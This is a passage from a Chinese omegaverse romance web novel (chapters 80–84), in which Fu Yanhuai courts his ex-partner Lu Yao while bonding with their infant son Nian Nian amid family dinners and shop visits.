年年惊奇地瞪大眼睛,他从来没有坐得这么高过。傅晏淮捏着年年的小腿肚,带他出门逛,奶油凑过来目不转睛盯着他们两个。 年年好奇地一直左右看,还揪傅晏淮的头发,然后他弯起眼睛咯咯笑起来。 育婴师看得心惊胆颤差点心脏骤停,她走过去委婉制止,“傅总,小少爷太小了,这样很危险的,您把他放下来吧。” 傅晏淮转回头,“可是我感觉他很高兴。” 年年的确很高兴,傅晏淮身高一米九,年年此刻视野非常开阔,他紧紧抓着傅晏淮头发动来动去到处乱看。 育婴员内心已经发出尖锐爆鸣,她苦笑扶额道,“但是这样太不安全,小少爷已经高兴了,您把他放下来吧。” 傅晏淮无可无不可,他想把年年再抱下来,但年年还想接着坐,他就揪紧傅晏淮头发不松手,傅晏淮微微刺痛皱了下眉。 傅晏淮敷衍道,“不会让他掉下来的,放心吧。” 傅晏淮抓着年年的小腿肚在外面转悠,育婴师欲言又止地跟上去。 等鹿遥回来她要和鹿先生告状。 有惊无险的二十分钟过去,年年终于舍得松手,育婴师惊魂未定把年年抱进怀里拍拍。但年年的确是一副被哄得眉开眼笑的样子,他喜滋滋地转到一边玩手去了。 于是今晚鹿遥回家后就发现家里氛围和他走的时候很不同,年年竟然愿意坐在傅晏淮腿上了,反而是育婴师在一旁苦大仇深地盯着。 鹿遥微妙顿住,他做了两秒心理建设才面色如常走过去。 “年年?” 鹿遥捏了一下年年的脸,年年仰起头冲他笑,鹿遥弯腰把他抱起来,“今天玩得开心吗?都做了什么呀。” 年年听不懂也不会说话,但他很幸福地窝进鹿遥脖子里,“唔——” 傅晏淮看着贴贴脸的两个人,眉眼温和下来。 傅晏淮觉得年年像鹿遥是一件挺好的事,如果是像他的话那这个孩子脾气估计会很烦人。 育婴师蠢蠢欲动在一边准备告状,但傅晏淮完全没有要起来的意思。 “今天我惹年年不高兴了。”傅晏淮很诚实,先和鹿遥主动承认,“但后来我又哄好了。” 鹿遥看出来了,年年现在都愿意给傅晏淮好脸色看,那肯定是被哄好了。 “哦。”鹿遥不咸不淡道,“怎么哄的。” “让他骑在我脖子上在外面转了一圈。”傅晏淮觉得自己干得不错,“年年很喜欢。” 鹿遥倒吸一口气,“骑在你脖子上?!万一他摔下来怎么办?” 傅晏淮很高,反正比绝大部分人都高,鹿遥有点生气了,“你怎么能领他做这么危险的事。” “我看他很高兴。”鹿遥一看就很不满,傅晏淮当即认错,“是我考虑不周,那我下次不这样了。” 傅晏淮知错就改和诚恳的态度让鹿遥的怒火停滞,他语气缓和下来,“我不是阻止你和年年亲近,只是要保证安全。年年没有玩过这个,他又控制不好自己的身体,你太高了,很容易摔倒。” 傅晏淮有点微妙,鹿遥这句太高了听得他心里微微荡漾了一下。 鹿遥和年年一样好哄,简单的一句话就让鹿遥恢复平时温和的样子。傅晏淮喉结滚了滚,他有点渴了,还想吃点甜的。 傅晏淮眼神变得幽深,鹿遥没注意,他在享受和年年一起的亲子时光。 傅晏淮看了看门口,他不经意问道,“夏时越今天怎么没回来,他有事吗。” 夏时越已经短暂停止自己的大部分娱乐活动,因为他要在鹿遥身边监视傅晏淮的一举一动,以防他做出什么人神共愤的事情。 傅晏淮明显感觉到了夏时越对他的针对,这两天他和夏时越之间有点不对付,鹿遥也发现了。 听到傅晏淮主动提起夏时越,鹿遥有点奇怪,“他有事,今天晚点回来,你问这个做什么?” 傅晏淮不做什么,他觉得夏时越不在挺好的。 “那今晚我陪年年玩,可以吗?”傅晏淮现在学会事事都问鹿遥的意见,这样也可以增多他和鹿遥相处的时间,“你早点睡,晚上我来哄睡他。” 鹿遥迟疑开口,“我觉得没有这个必要,年年可能也不习惯你哄睡他。” 傅晏淮垂眼,神情显得有些落寞,“年年和我变得亲近了些,我想和他多相处。” 鹿遥一时语塞,傅晏淮拿出这样的理由,鹿遥不好直白拒绝。 “可是…” 可是年年哄睡很不容易,傅晏淮自己在鹿遥不放心,可又不想和傅晏淮一直共处一室直到睡觉。 但是傅晏淮现在看起来又很可怜,年年好像确实也有一点点喜欢他了… 鹿遥纠结地搂着年年思考,傅晏淮甚至看出了鹿遥在想什么,他情不自禁微微挑了下唇。 这样的鹿遥看起来很可爱,傅晏淮摩挲了一下指腹,他想吻吻鹿遥。 鹿遥最终叹了口气道,“我和你一起。” 傅晏淮目的达成,他很会装相地没有表露出任何情绪,傅晏淮听话地答应,“好。” 鹿遥觉得自己也不应该把傅晏淮揣测得太坏,毕竟士别三日应当刮目相看,或许傅晏淮是真的改过自新了呢。他对年年好,鹿遥还是很欣慰的。 傅晏淮看鹿遥一直抱着年年,他自然地走过去伸手,“不要这样一直抱着他了,会腰酸的。” 年年的体重在随着年纪猛速增长,看鹿遥投来不解的目光,傅晏淮在鹿遥身前蹲下,抬眼专注看着他,“这是我学到的有可能会产生的产后症状,可我却不清楚你具体都有哪些不适,我很抱歉。” 这本应是他的职责,是他没有保护好自己的omega。 鹿遥心脏在此刻传来后知后觉的钝痛,他抱住年年的手逐渐缩紧,这句道歉让他想起了曾经想被人珍重对待的时刻。 鹿遥不能矢口否认自己现在已经完全不需要这些,因为他听见这句话还是忍不住心酸。 年年感觉出来了鹿遥的不对,他探头探脑地看看鹿遥,又努力转脖子去看傅晏淮。 “不用了,我不累。” 鹿遥不想在傅晏淮面前失态,他扔下这句话就头也不回地上楼。 傅晏淮蹲在原地没有起身,空气中似有若无的焦糖味随着鹿遥的离开消失得一干二净,仿佛从来没有存在过。 傅晏淮若有所思摸了一下自己的颈侧,腺体发烫跳动,他敛眸沉思。 隔着腺体贴,他怎么会闻到鹿遥的信息素味道。【你现在阅读的是 】 80-90 第81章 第 81 章 不眠夜 虽然鹿遥并不是完全发自内心地欢迎他, 但傅晏淮晚上还是脸皮很厚地跟到了婴儿房里。 或许小孩子都是越晚越精神,傅晏淮进去的时候年年还在床上滚来滚去。 鹿遥情绪很稳定地想让年年回到自己怀里,“已经很晚了, 该睡觉了,小孩子不可以睡得太晚哦。” 年年耍赖地直接在床上瘫倒, 偷偷摸摸去瞄鹿遥的脸色。 育婴师看见傅晏淮进来,当即很警惕默默站起来。她充分见识到了傅晏淮带孩子的不靠谱, 但傅晏淮又是自己的大老板, 这让育婴师觉得很难做。 年年听见动静回头, 鹿遥看见傅晏淮略不自在地顿了顿。 傅晏淮十分自然地走近, 目前为止, 他的腺体尚且还平静。 下午腺体发烫得有些突然, 傅晏淮希望这不是什么坏的征兆。 事实上,以目前的状态,不论是腺体好转还是退化, 傅晏淮都不认为会是好事。他在小心翼翼地维持现在和鹿遥之间的平衡, 一旦目前表面的和谐被打破。傅晏淮不知道接下来即将会迎来什么。 作为一名成功的商人, 傅晏淮擅长也十分乐意做一些风险投资,但现在他的确踌躇不前,不敢再做更多。 “大人也不可以睡得太晚。” 傅晏淮把年年抱起来, 他看了眼时间, “快要十点了,你明天还要早起,去休息吧。” 鹿遥抿了抿唇,“我还不困,而且你也不会哄。” 鹿遥眼中是明白的指责,“不看着你我不放心。” 鹿遥说这话没有其他意思, 但傅晏淮听了却一下子就深刻理解到了为什么孩子叫爱情的结晶。 年年果然是联系他和鹿遥的最好桥梁,至少鹿遥还愿意为了孩子骂他,这说明鹿遥心里还是有他的,不然鹿遥为什么只骂他不骂别人。 年年瞪着乌溜溜的大眼睛嚼奶嘴看傅晏淮,傅晏淮拿出了十二分的耐心,他坐到床边低声开口,“年年,来。” 年年的确对傅晏淮不那么抵触了,但他还是犹犹豫豫地想找鹿遥。 傅晏淮人都在这里了,鹿遥也不能把他赶出去,他鼓励年年道,“没事的,去吧。” 年年就真的慢腾腾爬过去了,他一屁股坐在傅晏淮大腿边,仰头嚼嚼嚼好奇看着他。 傅晏淮征询他的意见,“今晚我陪你睡?” 年年露出了思考的神色,然后他竟然真的对傅晏淮伸出手,他要抱抱。 鹿遥和育婴师都大为震撼地看着这一幕,傅晏淮稳稳地拖着年年的屁股把他抱起来。 鹿遥神色复杂地对傅晏淮道,“看来年年还是挺喜欢你的。” 然后鹿遥又有点吃醋,傅晏淮都没怎么照顾过他,年年现在却愿意亲近傅晏淮了。 年年搂着傅晏淮的脖子,有了点熟悉的感觉。他朝着鹿遥露出一个笑容,口水流了点出来。 鹿遥把小情绪抛之脑后,他上前用口水巾给年年擦掉,鹿遥捏了捏年年的脸蛋,“小机灵鬼。” 年年咯咯笑起来,也不管是不是还挂在傅晏淮身上,乱扑腾就要从傅晏淮肩膀上折下去找鹿遥。 鹿遥吓了一跳,急忙忙去扶住他,傅晏淮一手就扣住年年的后背。年年后知后觉地反应过来自己刚刚差点摔下去,他愣愣抬起脸。 虚惊一场,鹿遥心有余悸地摸摸年年的头,他板起脸道,“爸爸不是说了不可以做这么危险的事吗,不要乱爬乱动,摔下来怎么办?” 年年的脸耷拉下来,他能听出来自己被说了。傅晏淮紧紧皱着眉,不客气地打了一下年年的屁股。 年年大为震撼,他被打屁股了!! 年年的表情明显不对,鹿遥也顾不上其他,他擦着傅晏淮的颈侧把年年抱了过去。 傅晏淮手里一空,他背对着鹿遥和年年,面色逐渐变得古怪。 一点隐秘的,久违的欲望和占有欲,正在他体内逐渐复苏。 傅晏淮低头看看自己,医学论文中远超常人的‘s级恢复力’在此刻有了清晰体现,傅晏淮也没有想过自己的腺体会在这么短的时间内就已经初步恢复功能,毕竟当时腺体的损伤已经非常严重。 年年出生以来头一回被打屁股,虽然傅晏淮根本没有用力,但年年还是当场就委屈地哭了出来。 年年哭得伤心,连奶嘴都吐出来了,鼻涕眼泪全糊在鹿遥衣服上。 鹿遥没有心思理会傅晏淮在想什么,虽然年年刚刚的确需要被批评一下,但打屁股还是太严重了,鹿遥赶忙努力哄他。 “不哭了,爸爸揉一揉,哦,委屈了。” 年年抽抽搭搭地扁嘴,傅晏淮还一动不动坐在原地,鹿遥忍不住低声道,“你突然打他屁股做什么,他这么小,能懂这些事情吗。” 傅晏淮回神,他回过头对鹿遥解释,“我是觉得有时候需要让他记住什么可以什么不可以,他有的时候…” 傅晏淮看着近在咫尺的,鹿遥低垂的眼睛,声音渐渐低下去。 鹿遥茫然抬眼,“有的时候怎么?” 鹿遥没有注意到他和傅晏淮已经离得太近,近到他能感觉到傅晏淮的呼吸。 他猝不及防与傅晏淮对视,鹿遥和傅晏淮好像从未有过如此时刻,这样坦荡不含其他地望进对方眼底。 鹿遥猛地站起来,他无法排解这一瞬间产生的情绪,他好像看到了什么洪水猛兽,慌不择路地抱紧年年后退。 傅晏淮单膝跪到床上,倾身伸长手臂轻轻带了一下鹿遥的腰。 鹿遥那一侧瞬间起了鸡皮疙瘩,他不知是羞还是怒,鹿遥扬声恼火道,“你做什么?” 傅晏淮示意育婴师出去,“地上有玩具,我怕你摔倒。” 育婴师早就想走了,她闭上眼睛毫不犹豫关门离开。 年年一时都忘了哭,他边流鼻涕边呆呆看着傅晏淮。 傅晏淮走过去想把年年接过来,鹿遥警惕地抱紧,下意识又想往后退。 傅晏淮揽住鹿遥后腰,他低低开口,“后面是奶嘴,不要踩到。” 趁着鹿遥低头的空隙,傅晏淮把年年接了过来,他抽了两张纸给年年擦脸。 鹿遥手足无措站在一边,现在的傅晏淮有了鹿遥记忆中熟悉的感觉,那个高高在上、冷漠的决策者。 傅晏淮把年年的擦干净后就把他放到床上坐着,他后退一步,“抱歉,今晚我有些失态。” 腺体越来越烫,傅晏淮确定这个状况短时间内无法解决。他不确定自己信息素有没有泄露,腺体受损,他在家都不贴腺体贴。保险起见,傅晏淮还是决定先离开。 傅晏淮略带歉意看着鹿遥,“明天我会再去一次医院,今晚恐怕不能和你一起哄年年睡觉了。” 鹿遥和年年脸上都是一模一样的茫然和紧张,鹿遥抿了下唇,“哦,行。” 傅晏淮现在看起来的确太奇怪了,这让鹿遥有点不知所措。 傅晏淮调整呼吸,尽量轻缓开口,“那我先下楼了,早点睡。” 傅晏淮彻底离开,鹿遥这才惶惑不安地坐到年年边上。他又把年年搂进怀里,肉嘟嘟的年年能让鹿遥有点安全感。 “唔啊。” 年年现在也缓过来了,他迷惑地仰头看着鹿遥,鹿遥低下头勉强笑了一下,“什么事也没有,咱们睡觉吧。” 同意傅晏淮哄睡果然是个错误的决定,鹿遥决定以后不允许傅晏淮再和他共处一室。 年年经过这一顿折腾也有点困了,今晚的哄睡没费什么力气,鹿遥拍了拍,年年很快就睡着了。 鹿遥回到卧室后还是无法冷静下来,他推开阳台门吹了一会夜晚的冷风。皮肤变得很凉,但身体还是产生无法言喻的烦闷和燥热。 鹿遥趴在阳台栏杆上沉沉叹气,他自言自语道,“果然和傅晏淮有关的就不是什么好事。” 第82章 第 82 章 追求 第二天傅晏淮怀着非常诚恳的心去医院重新做了一遍检测, 医生对着检测报告沉吟道,“恢复情况还是很不错的,您最近有没有觉得有些异常的地方?” 傅晏淮回忆了一下这几天发生的事, “我能感觉到腺体功能在逐渐复苏,但我还是闻不到鹿遥的信息素味道。” 医生和颜悦色地宽慰他, “这是正常的,能进行信息素交互证明您和鹿先生的腺体都已经具备了基本上正常运转的能力——也就是说, 那个时候, 就不再需要治疗了。” 傅晏淮若有所思, “不过我觉得年年好像能闻到我的信息素。” 医生提起了精神, “怎么说?” 傅晏淮擅长运用推测和佐证, “年年性格比较警惕, 我不认为短短几天就可以获得他的信任。但从昨天开始他愿意亲近我,或许是因为刚出生的两个月里是我用信息素给他造出了安抚环境。” 年年在傅晏淮身上找到了熟悉的感觉,所以他才愿意赏脸让傅晏淮离他近一点。 医生陷入沉思, “或许是这样, 婴儿对他双亲的气息是非常敏感的。” 傅晏淮神色谈不上高兴或者不高兴, 年年能闻到他的信息素,这就意味着很快鹿遥也可以闻到,并且他会非常迅速地恢复所有alpha该具备的功能。 老实来讲, 傅晏淮不觉得这是个好时机, 腺体恢复的速度比他预计的快了太多。 “鹿遥腺体的恢复情况怎么样?” 医生委婉开口,“距离鹿先生上次到医院检测已经过了太久,我不能确定具体的情况。” 傅晏淮捏捏眉心,“暂且先这样,如果再有异常我会来的。” 眼看傅晏淮站起身就要走,医生急忙叫住他, “哎,傅总,等等!” 傅晏淮蹙眉,低头看他。 医生有点汗流浃背了,s级alpha的压迫感现在又隐隐约约出现了。 “您最好还是把腺体贴贴上。”医生提醒道,“虽然没有信息素的味道,可不意味着不会被感受到。” 傅晏淮有点遗憾,他觉得这段时间不贴腺体贴和鹿遥待在一起,感觉还挺好的。 不过做好隔断是a和o应该做的,尤其是高等级,傅晏淮浅浅遗憾了一下就很快接受现实。 “我会注意的,谢谢。” 傅晏淮竟然说了谢谢,医生受宠若惊地目送傅晏淮离开。 啧啧啧,婚姻果然会使人改变。 傅晏淮没有直接回家,他顺便让助理开车去了傅氏集团,处理了点工作又顺便去了鹿遥的品牌店。 其实不是顺便,傅晏淮是故意的。 但是那能怎么办呢,alpha卑劣的占有欲在复苏,他非常、非常想念自己omega甜美的味道。焦糖布丁近在咫尺,可他不能咬,只能垂涎地守着岌岌可危的红线,尽量装出绅士的模样在一旁等待。等待这个散发甜美香气的omega愿意主动走近一步,只要一步就好,他就会有心安理得细细舔舐的理由。 鹿遥还不知道现在傅晏淮已经在沉默中变态,他还在专心致志和夏时越一起研究策划案。 “我决定雇一个经理。” 夏时越顶着两个黑眼圈,“两个店来回跑果然还是太超过了,人也应该注重休息。” 原来的策划案已经写不下笔记了,鹿遥重新拿了个本子生涩地试图在上面留下自己的字。 诚实地来讲,这对于鹿遥来说有点难,他没有系统化地学过金融商业知识。在傅晏淮已经搭建好的体系和理论上进行学习和二次加工,和自己独立完成一次策划案的难度是不同的。 鹿遥再一次划掉自己刚刚写下的字,然后呼出口气道,“这样也好,不然你也忙不过来。” 夏时越看着鹿遥的动作,忍不住凑到他身边紧挨着鹿遥肩膀,“别这么紧绷着,放松一点,就算失败了又怎么样,大不了让傅晏淮赔钱。” 鹿遥失笑,“这是哪里的话,和他有什么关系。” 鹿遥有点不自在,“我还是自己来吧。” 鹿遥莫名觉得有傅晏淮的参与事情就会奔着不可收拾的程度一去不复返,而且傅晏淮看着实在也是怪怪的,鹿遥直觉最好和他保持一定距离。 夏时越狐疑地上下打量两眼鹿遥,“你这个反应…说,是不是傅晏淮趁人不注意又找你了,他干什么了?” “呃。”鹿遥无言反驳,但事情好像和夏时越想象的稍有偏差,“也不算是趁人不注意,他只是说想多陪年年。” 傅晏淮没有藏着掖着偷偷找他,是光明正大的。 夏时越一脸恨铁不成钢,“这一听就是借口,他果然就是故意的!” 这个居心叵测又狡诈的渣a,真是脸皮太厚了! 本以为鹿遥会像从前一样沉默应对,但没想到这次鹿遥竟然罕见地附和了他。 “没错。”鹿遥极为认真地道,“傅晏淮就是故意的,我要离他远一点。” 夏时越万分震撼,这还是那个从来不说人坏话的鹿遥吗。傅晏淮又干了什么好事,现在鹿遥竟然光明正大说了要离他远点。 夏时越紧张兮兮地拉起鹿遥,“他怎么你了,他都干什么了?” 鹿遥动了动嘴唇,最终只能道,“什么都没做,但是我感觉很奇怪,还是保持距离得好。” 虽然现在还什么都没做,但鹿遥莫名觉得以后可能就会做点什么了。 昨天和傅晏淮接触太多,鹿遥晚上翻来覆去都没睡好,浑身上下都觉得怪怪的。今天早上没见到傅晏淮的人影,鹿遥平平静静工作到了现在。 他更加坚定了自己的念头,傅晏淮果然就是不对劲。 夏时越凝重点点头,“我看也是,傅晏淮那张脸,真是一看就…” 刚刚走进来的傅晏淮微微挑眉,一看就怎么? 夏时越没想到这边刚提那边傅晏淮还真来了,他脸色五彩缤纷地把嘴闭上,夏时越垮起脸道,“你怎么来了。” 傅晏淮漫不经心开口,“我来找鹿遥。” 鹿遥身体一僵,夏时越不情愿地问他,“让你进了吗你就进。” 傅晏淮眼神温柔缱绻,他一步步走近,到鹿遥身前低声问道,“我可以进来吗?” 鹿遥后腰抵到桌角,他头皮发紧,傅晏淮这话太暧昧,鹿遥怎么答都是怪怪的。 鹿遥把头撇到一边,“别问我,我不想说。” 傅晏淮低笑一声,“好,是我问得突然。” 傅晏淮的语气让鹿遥没由来地一阵憋闷,好像是在哄年年一样,鹿遥抿唇,擦着傅晏淮肩侧走过去。 夏时越瞪大眼睛,不敢置信地看着傅晏淮发骚,不是,这合理吗?! 夏时越咬牙切齿道,“傅晏淮,你能不能自重点,你看鹿遥想和你说话吗?” 傅晏淮对鹿遥苦恼道,“我控制不住。” 虽然是在回答夏时越,但傅晏淮看的人分明却是鹿遥。 “我只是太想离你近一些了。” 这回不用夏时越,鹿遥先踉跄停下,随后恼火瞪着傅晏淮。 “傅晏淮,你到底在胡说八道什么!” 傅晏淮垂下眼,稍稍缓和了一下自己的情绪。 现在还不是时候,他不能这样放纵自己,鹿遥会被吓到的。 傅晏淮尽可能地让自己多一些耐心,他把手里的策划案拿给鹿遥。 “这是我新做的一份策划案,比上一次的详细些,你看看。” 鹿遥慢慢蹙眉,傅晏淮在鹿遥拒绝之前先开口道,“只是一份参考。” 傅晏淮专注看着鹿遥,好像他眼底只能看到鹿遥一个人。 “我知道你自己也一样可以做得很好。” “我靠,我真是受不了了。” 夏时越忍无可忍,上前强硬把傅晏淮挤开,“你现在这是干什么,你脑子没问题吧?” 傅晏淮顺从退后两步,他见好就收,没有继续缠着鹿遥不放。 “如你所见。” 傅晏淮把策划案随手放到一边的桌子上,他偏头微笑对夏时越道,“我在追求鹿遥啊。” 鹿遥瞬间攥紧手指,克制着没有看向他。 傅晏淮在说什么?追求…他? 第83章 第 83 章 果泥 “是的, 傅晏淮的话的确就是糖衣炮弹。” 这是继夏时越情绪上头拉住鹿遥撞开傅晏淮离开,两人回到傅家老宅进行的第一次严肃谈话。 鹿遥现在已经完全冷静了下来,“我是不会相信他的。” 傅晏淮说那句话时的神态太过认真, 眼神也太过温柔,鹿遥恍惚间几乎以为那是真的。 但很快他就清醒了过来, 傅晏淮喜欢谁也不会喜欢他的。鹿遥很清楚傅晏淮根本不会喜欢自己这样的人,连年年的出生都是个意外。虽然在一瞬间曾经有过触动, 但鹿遥还是很迅速地就认清现实。 如果傅晏淮真的喜欢自己, 那他就不会这么大费周章和自己离婚了。 做人贵在有自知之明, 不管是从前还是现在, 鹿遥一直都很清楚自己的定位。只有在怀着年年的那段时间, 鹿遥才开始妄想和傅晏淮真正组建一个家庭, 不过现在他已经没有这样的想法了。 看夏时越神情还是很严肃,鹿遥想了想又补充道,“他应该也只是随口说说, 我们也不用当真。” 夏时越这才勉为其难地开口, “最好是这样。傅晏淮这个人真的是, 一想起来我就火大得很。” 鹿遥也觉得很头痛,他叹了口气道,“随便他想干什么, 我反正没有心思理会他。” 虽然没有定下一定要按时开业的时间, 但现在品牌还是遇到了非常棘手的情况。鹿遥对这个甜品连锁店付出了很多心血,态度也很慎重,单单是市场调研和选定商标就花了很多时间,当然,也花了很多钱。 在前期成本投入如此巨大的情况下,鹿遥对后面的每一步都希望能做到尽善尽美。虽然所有人都说即使失败也没什么, 毕竟富二代们创业就是屡败屡战的,但鹿遥无法做到坦然加入这一行列。 鹿遥想到这里,不由得又叹了口气。 “我上楼去看看年年,然后就去写策划案了。” 夏时越大为震撼,“真的需要这么努力吗?你歇歇吧,你每天陪年年的时间越来越短,我看他都有小情绪了。” 鹿遥也有些无可奈何,可是每天的时间精力有限,他在家的时间变短,而且回家也不意味着没有事要做,和以前每时每刻黏在一起相比,年年的确会感到落差。 “我去哄哄他。” 鹿遥有些愧疚,他小声道,“我知道我应该好好陪他的,年年这么小,和我在一起的时间也没有几个月…” 年年是他早产生下来的,出生后他没有见到年年的样子,年年也不是很健康。现在好不容易好一点,鹿遥其实很珍惜和年年在一起的时光,就算婴儿天性哭闹需要经常哄,鹿遥也没有觉得不耐烦,年年对他来说是非常珍贵的宝贝。 夏时越当即开口劝他,“这也不是你做错了事,小鹿,我知道你一直都觉得自己没照顾好年年很对不起他,但你真的已经尽力了。而且,小孩子才不会这么想呢。” 年年会埋怨鹿遥不小心跌倒导致他早产吗?肯定不会,年年只知道鹿遥身上香香的,对他又温柔有耐心,是全天下最好的爸爸。 鹿遥开始无意识地焦虑看远处,“年年刚刚送到我身边的时候又瘦又小,晚上还会惊厥抽搐,整个人不爱动也不爱笑…” 可能是生产后的被迫分离和年年的不健康给鹿遥留下了心理阴影,鹿遥有一点过度保护和自责的心理。 夏时越努力宽慰他道,“但年年现在很健康,白白胖胖的,又活泼,精力比大人还要旺盛。除了舍不得你,每天都是开开心心的,和健康的孩子已经没有差别了。” 鹿遥的不安情绪并没有缓解太多,但他也笑了笑,“是我太紧张了,我会调整好自己的心态的。” 夏时越也知道鹿遥的这种心态不是三言两语就能消除的,他和鹿遥一起上楼,“等到年年以后长大进入叛逆期犟嘴,我相信你的自责内疚就会大大缓解。” 鹿遥有些忍俊不禁,年年长大的样子鹿遥想象不出来,现在他还只是一坨白皙肥美的糯米团子。 鹿遥不在家的时候年年总是很无聊,虽然鹿遥在身边也不会玩出什么新花样,但年年就是很喜欢鹿遥陪着他。 年年现在身上奶香奶香的,捏起来手感还很好,鹿遥把他举起来,看年年手舞足蹈地扑腾着笑。 夏时越在一边给奶油训口令,看着鹿遥和年年甜蜜的亲子互动,他有点感慨。 夏时越确定鹿遥是在用爱年年的方式弥补自己的缺憾,因为他什么都没有得到过,所以在竭尽所能地把所有的一切都给年年。 虽然夏时越也是omega,但他实在难以想象自己和自己孩子互动的场景。年年的确很可爱,可待久了夏时越也会觉得无趣。 夏时越在经历百转千回的心理活动后最终道,“我觉得傅晏淮真的算是人生赢家。” 鹿遥顿住,“他的确是一个很成功,很有天赋的人。” 夏时越摇摇头,“不止是这个,他运气也很好。你看,虽然他对待感情一窍不通,之前不是还有什么信息素抵抗症状,但现在还是拥有了一个还算美满的家庭。” 这个角度鹿遥从来没有想过,但他仔细思考了一下,发现夏时越说的很有道理。 鹿遥心里有点异样感,傅晏淮毋庸置疑是很幸运的,但是相比之下,他的运气就不怎么好了。 可能感觉出鹿遥不开心了,年年揪住鹿遥的衣角晃了晃。 鹿遥捏捏年年的脸,“我没事。” 任何人和鹿遥相比应该都应该算是运气好的,在这一方面上,鹿遥很容易就调整好心态。 鹿遥口吻轻松道,“他一直都是运气好的人,从出生开始就是了,不然怎么会生在傅家。” 有傅际中和文筝这样的父母,傅晏淮一定是幸运的。 夏时越感叹一声,“真是便宜他了。” 不过生在富贵之家不学无术的纨绔子弟也不少,夏时越其实也明白傅晏淮能有今天的地位有他自己的原因。 年年一直愣愣看着鹿遥,夏时越说着看向年年,“年年~走,带你下楼去玩。” 年年还是十分狐疑地看看鹿遥又看看夏时越,最终他伸手紧紧搂住鹿遥的脖子。 夏时越惊奇道,“我们年年这么聪明啊,你可要看好你爸爸知不知道,别让他被坏人给欺负了。” 鹿遥无奈开口,“别逗他了,他哪里懂这些,下楼吧。” 鹿遥在楼下准备了一点果泥,现在大人吃饭年年在一边看着会嘴馋也想要,但年年现在还在选择辅食的阶段,鹿遥不敢乱给年年东西吃。 年年被放在婴儿餐椅里看着鹿遥为他挖果泥,他噫噫呜呜地想要。 夏时越托腮在一边若有所思道,“我发现年年很喜欢吃甜甜的东西,小鹿,等年年长大了一定让他尝尝你做的甜品,他一定喜欢。” 鹿遥随口道,“我还以为他会遗传傅晏淮的口味呢,傅晏淮就不喜欢吃甜的。” 夏时越震惊道,“傅晏淮竟然不爱吃甜的?” 真是没品的家伙! 鹿遥全神贯注地挖果泥,“他不仅不喜欢吃甜的,也不喜欢吃咸的,傅晏淮就没有特别喜欢吃的东西。” 夏时越撇撇嘴,“真难伺候。” 鹿遥却有点出神,他想起来自己全心全意对待傅晏淮的时候。他真的很喜欢傅晏淮,所以能记住他的每一点喜好,在相处不多的时刻里绞尽脑汁观察猜测他喜欢什么讨厌什么。 鹿遥停止自己的胡思乱想,傅晏淮喜欢什么鹿遥不知道,反正是挺不喜欢他的。 第84章 第 84 章 攻略 傅晏淮准时在晚饭时间出现, 他熟门熟路在鹿遥边上坐下,夏时越一脸无语地在对面看着。 “今晚的汤。” 傅晏淮不在意餐桌上众人各异的目光,他有一条自己坚持的追妻之路。 在尝试了几次之后, 傅晏淮现在已经对鹿遥胃口的大小有了很精准的掌控,今晚的汤不多不少刚刚好。 对于这个举动, 鹿遥说不上是什么心情,他不太喜欢在餐桌上自己单独吃小灶, 但是大家竟然都很支持傅晏淮这样做。 “你上次去医院检查的结果怎么样?” 文筝看傅晏淮现在活蹦乱跳的好像没什么问题了, “医生说什么了吗?” 傅晏淮用公筷给鹿遥夹了块蒸小排骨, 他低声迅速道, “这个味道很不错, 你尝尝。” 鹿遥嘴里刚刚把汤咽下去, 他盯着面前盘子里的小排骨抿唇。 然后傅晏淮抬头回文筝的话,“腺体恢复得不错,没有什么问题。” 鹿遥听得微顿, 傅晏淮的腺体已经恢复了吗?但是他好像没有闻到白冷杉的味道, 傅晏淮信息素味道还是很明显的, 在他还是beta的时候都隐隐能感觉到。 鹿遥忽然想起,自己已经很久没有去过医院检查腺体了,不知道恢复得怎么样。 不过他都没有什么异样的感觉, 应该没什么事吧。 文筝觉得生命力顽强也算是件好事, 她点点头接着道,“但你最好也还是定期复查到腺体彻底恢复的时候。小鹿,你最近去了吗?” 鹿遥莫名有点心虚,“没有呢,过两天会去的。” 对待鹿遥,文筝的声音温柔了很多, “那你要记得去,不然妈妈不放心。” 鹿遥的眼睛就又亮亮的了,“好,我知道了,妈妈。” 年年在一边啃果泥,看见鹿遥抬起脸对文筝笑,他忍不住也跟着咧嘴。 “哎呦,年年也高兴是不是啊?果泥好不好吃?” 傅际中一看年年就喜欢,他把年年抱自己腿上,“来,爷爷喂你。” 傅晏淮皱眉,“爸,你不要在吃饭的时候抱他。” 傅际中不耐道,“他自己在一边坐着不无聊吗,我哄哄他还不行。怎么你一回来规矩就这么多。” 傅晏淮不赞同傅际中的话,“他逐渐也是可以自己吃饭的,现在不让他自己坐着吃,难道以后一直都坐你腿上吗?” 傅际中匪夷所思,“年年才多大,你怎么对他要求这么高。” 傅晏淮用手帕象征性点了下唇角,随后优雅站起身,“我吃好了,我去陪他。” 于是年年就这样理所应当被送到了傅晏淮手上,鹿遥埋头吃饭的速度默默加快,傅晏淮这样他很有些坐立难安。 不知道为什么,总觉得年年在他手里好像人质一样。 年年将信将疑地看了看傅晏淮,不过年年现在对傅晏淮和以前相比好脸色已经多很多了,他还是乖乖坐在傅晏淮大腿上没动。 傅晏淮挤了一点果泥到勺子里,年年抓着傅晏淮的手指往自己嘴边递。 傅晏淮挑了下眉,不知道是不是小孩子都是这么馋嘴。如果不是,他自己自己对食物的欲望没这么高,如果是遗传了鹿遥? 鹿遥把碗里的最后一口饭吃完,他走到傅晏淮身前低声开口,“我吃好了,你去休息吧。” “这样的对话听起来…” 傅晏淮没有回答鹿遥的话,也没有松手把年年放开,年年还是笨拙地扒住傅晏淮的手臂往前啃果泥。 鹿遥不解地蹙眉,“嗯?” “听起来像是真正的夫夫。” 傅晏淮意有所指道,“不过我还不累,让我哄一会他吧。我听管家说,你今天在店里忙完就一直在陪年年。” 鹿遥不知道该如何应对傅晏淮的这种似是而非的关心,他强调道,“我是他的爸爸,这是我该做的,我就想陪着他。” 傅晏淮温声道,“我只是不想你太辛苦,那我抱他上楼。” 鹿遥一阵憋闷,傅晏淮这样,他和他说起话来就有一种一拳打到棉花上的无力感。 鹿遥闷声道,“算了。” 年年晚饭前刚刚下来,文筝和傅际中也还都在,这个时间年年就是要在客厅里玩的,鹿遥不想折腾年年让他再上楼。 但鹿遥还是认真反驳傅晏淮,“照顾年年我很愿意,你不要当着他的面说这种话,年年会难过的。” 鹿遥对年年的在意程度再一次超出了傅晏淮的预计,他以为鹿遥不愿意提是因为拒绝和他沟通,没想到竟然是鹿遥觉得年年听了会伤心。 “不会的。”傅晏淮低声和鹿遥耳语,“他会很高兴,因为有一个非常爱他的爸爸。” 傅晏淮想了想又补充了一句,“年年是个非常幸运的孩子。” 